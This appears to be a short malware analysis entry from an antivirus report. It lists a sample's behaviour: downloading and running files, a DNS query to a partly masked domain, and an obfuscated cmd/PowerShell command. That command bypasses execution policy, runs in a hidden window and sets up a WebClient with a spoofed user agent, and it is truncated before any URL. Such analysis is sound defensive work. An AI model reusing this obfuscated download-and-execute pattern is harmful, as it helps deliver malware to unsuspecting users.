Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c ^powe^rshe^ll -Executi^onPo^licy by^pass -n^oprofi^le -wi^ndows^tyle hi^dden $wc = New-Object System.Net.W^ebCl^ient; $wc.Hea^ders.Ad^d('Us^er-Ag^ent','Windows-Media-Player/11.0.5721.5145');...
Network activity
UDP
- DNS ASK sc####danzamaja.it
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c ^powe^rshe^ll -Executi^onPo^licy by^pass -n^oprofi^le -wi^ndows^tyle hi^dden $wc = New-Object System.Net.W^ebCl^ient; $wc.Hea^ders.Ad^d('Us^er-Ag^ent','Windows-Media-Player/11.0.5721.5145');...' (with hidden window)
